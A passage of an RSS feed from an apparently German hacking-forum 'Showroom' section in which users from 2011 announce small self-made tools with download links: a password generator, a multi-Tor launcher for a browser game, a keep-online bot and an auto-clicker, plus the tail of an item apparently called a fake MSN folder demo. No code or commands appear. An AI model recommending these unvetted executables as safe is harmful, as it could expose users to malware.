Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=225e639a7bc5ccccc9539103ca2ab0673a0fdd24a3de2a5c5a89fcfbe1d15a8e-1301840575" target="_blank" rel="nofollow">Virustotal</a><br />
<br />
<font color="#FF0000">Bild nicht mehr verfügbar</font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/msn-fake-mappe-demo-31208</guid>
		</item>
		<item>
			<title><![CDATA[[VB.NET] PasswortGenerator v1.0]]></title>
			<link>showroom-102/vb-net-passwortgenerator-v1-0-31565?goto=newpost</link>
			<pubDate>Wed, 09 Mar 2011 21:16:10 GMT</pubDate>
			<description><![CDATA[Hallo, 
 
Ich und Loshido haben mal einen kleinen & Simplen PasswortGenerator gecodet. 
 
Ich finde sowas brauch man immer mal hihio 
 
Screen:...]]></description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
Ich und Loshido haben mal einen kleinen &amp; Simplen PasswortGenerator gecodet.<br />
<br />
Ich finde sowas brauch man immer mal hihio<br />
<br />
Screen:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i56.tinypic.com/noek28.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<br />
Download:<br />
<br />
<br />
Viel Spaß damit.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>C0LA</dc:creator>
			<guid isPermaLink="true">showroom-102/vb-net-passwortgenerator-v1-0-31565</guid>
		</item>
		<item>
			<title><![CDATA[[OS] MultiTor]]></title>
			<link>showroom-102/os-multitor-29977?goto=newpost</link>
			<pubDate>Mon, 14 Feb 2011 22:35:29 GMT</pubDate>
			<description>Guten Abend liebe Community, 
 
da ich vorhin den Thread *Multitor by 3lit /Diebspiel :) *gelesen habe, musste ich feststellen, dass mir Aufbau und...</description>
			<content:encoded><![CDATA[<div>Guten Abend liebe Community,<br />
<br />
da ich vorhin den Thread <b>Multitor by 3lit /Diebspiel :) </b>gelesen habe, musste ich feststellen, dass mir Aufbau und Funktion des MultiTor doch sehr vertraut vorkam. Ich hatte nämlich im Jahre 2009 einen MultiTor für K-Script programmiert und habe den Sourcecode noch im meinem Archiv gelagert. Ich wollte euch mal die Freude machen und den MultiTor den ich programmiert habe, OpenSource zu Verfügung stellen.<br />
<br />
<b>Programmiert in: <font color="SeaGreen">C#</font></b><br />
<br />
<font color="#FF0000">Bild existiert nicht mehr</font><br />
<br />
<i><u><br />
Ich möchte nur noch kurz darauf hinweisen, dass der MultiTor<b> nicht die aktuellste Tor.exe</b> enthällt!<br />
<br />
</u></i><a href="http://rapidshare.com/files/447963094/MultiTor.zip" target="_blank" rel="nofollow">http://rapidshare.com/files/447963094/MultiTor.zip</a><br />
<br />
MfG Marco</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>.Empty</dc:creator>
			<guid isPermaLink="true">showroom-102/os-multitor-29977</guid>
		</item>
		<item>
			<title>Multitor by 3lit /Diebspiel :)</title>
			<link>showroom-102/multitor-by-3lit-diebspiel-29935?goto=newpost</link>
			<pubDate>Sun, 13 Feb 2011 22:10:12 GMT</pubDate>
			<description>Manche fragten, kann sein das ihr neues Tor einsetzen müsst. 
 
 
Have fun ... (YY) 
* 
Download: http://www.multiupload.com/N7YJIRRD8X* 
 
Anhang...</description>
			<content:encoded><![CDATA[<div>Manche fragten, kann sein das ihr neues Tor einsetzen müsst.<br />
<br />
<br />
Have fun ... (YY)<br />
<b><br />
Download: <a href="http://www.multiupload.com/N7YJIRRD8X" target="_blank" rel="nofollow">http://www.multiupload.com/N7YJIRRD8X</a></b><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=6654&amp;d=1392439565" border="0" alt="Name:  Unbenannt.jpg
Hits: 229
Größe:  38,6 KB" class="thumbnail" style="float:CONFIG" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=6654&amp;stc=1&amp;d=1392439565" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Scanner</dc:creator>
			<guid isPermaLink="true">showroom-102/multitor-by-3lit-diebspiel-29935</guid>
		</item>
		<item>
			<title>Ownzig 1.0 (ältere Version)</title>
			<link>showroom-102/ownzig-1-0-aeltere-version-30349?goto=newpost</link>
			<pubDate>Wed, 09 Feb 2011 14:09:21 GMT</pubDate>
			<description>Hallo, 
 
habe dies noch in meinen Backups gefunden. 
Wer was damit anfangen kann, bitteschön. Bei Fragen über PN melden. 
 
Die Datenbankbackups...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
habe dies noch in meinen Backups gefunden.<br />
Wer was damit anfangen kann, bitteschön. Bei Fragen über PN melden.<br />
<br />
Die Datenbankbackups befinden sich im Verzeichnis <b>backup</b>.<br />
Optimiert für weborientierte Programmiersprachen.<br />
<br />
DL: <a href="http://ownzig.at/ownzig.rar" target="_blank" rel="nofollow">http://ownzig.at/ownzig.rar</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>fan34</dc:creator>
			<guid isPermaLink="true">showroom-102/ownzig-1-0-aeltere-version-30349</guid>
		</item>
		<item>
			<title>F5-Klicker - new generation</title>
			<link>showroom-102/f5-klicker-new-generation-31009?goto=newpost</link>
			<pubDate>Mon, 31 Jan 2011 16:09:59 GMT</pubDate>
			<description>*F5-Klicker - new generation* 
 
Ich Ehemaliges Mitglied 293, habe einen Bot innrrhalb 30 Minuten einen F5-Klicker programmiert mit VB.NET. 
Bitte...</description>
			<content:encoded><![CDATA[<div><b><font size="4"><font color="DimGray">F5-Klicker - new generation</font></font></b><br />
<br />
Ich Ehemaliges Mitglied 293, habe einen Bot innrrhalb 30 Minuten einen F5-Klicker programmiert mit VB.NET.<br />
Bitte bewertet von 1-10 noch dazu die Zeit also für 30 Min    Arbeit.<br />
<br />
Der YouTube Link beinhaltet den Klicker und den Downladlink. Ihr müsst nichts downloaden und selbst beim Videoschauen es bewerten.<br />
<br />
<br />
<br />
<div style="text-align: center;"><font color="Red"><b>MIT BEGRÜNDUNG ZU JEDER BEWERTUNG</b><br />
</font></div><br />
<br />
<a href="http://youtube.com/watch?v=uk89lfE81gM" target="_blank" rel="nofollow">YouTube - F5 Klicker - new generation!</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>pohstro</dc:creator>
			<guid isPermaLink="true">showroom-102/f5-klicker-new-generation-31009</guid>
		</item>
		<item>
			<title><![CDATA[[Download] JappyBot v1]]></title>
			<link>showroom-102/download-jappybot-v1-29943?goto=newpost</link>
			<pubDate>Mon, 31 Jan 2011 14:06:14 GMT</pubDate>
			<description>Hey! :) 
Ich möchte euch meinen gestern entstandenen JappyBot! vorstellen.. 
Dieser Bot hält euch online, d.h. er aktualisiert alle 30 Sekunden.....</description>
			<content:encoded><![CDATA[<div>Hey! :)<br />
Ich möchte euch meinen gestern entstandenen JappyBot! vorstellen..<br />
Dieser Bot hält euch online, d.h. er aktualisiert alle 30 Sekunden..<br />
Falls du eine Nachricht erhälst, beept er einmal und zeigt dir die Anzahl der ungelesenen Nachrichten an..<br />
Log Out geht leider noch nicht, denn dieser hat ne SessionID die ich noch Replacen muss, wird dann in der nächsten Version da sein!<br />
<br />
Größe der Datei (gepackt): 25 KB<br />
Download: <a href="http://ul.to/boi2yx" target="_blank" rel="nofollow">Jappy! Bot.rar ... at ul.to - Free File Hosting, Free Image Hosting, Free Music Hosting, Free Video Hosting, ...</a><br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=e6912bbd13f598d86431e96084793bf40e7b9bd626097eff41e76619d0843701-1296482405" target="_blank" rel="nofollow">VirusTotal - Free Online Virus, Malware and URL Scanner</a><br />
Screen: <a href="http://img88.imageshack.us/img88/5070/jappybot2.png" target="_blank" rel="nofollow">http://img88.imageshack.us/img88/5070/jappybot2.png</a><br />
<br />
Das wars, bye bye.<br />
Kommentare und Verbesserungen gern erwünscht.. ^^</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>iBlack</dc:creator>
			<guid isPermaLink="true">showroom-102/download-jappybot-v1-29943</guid>
		</item>
	</channel>
</rss>
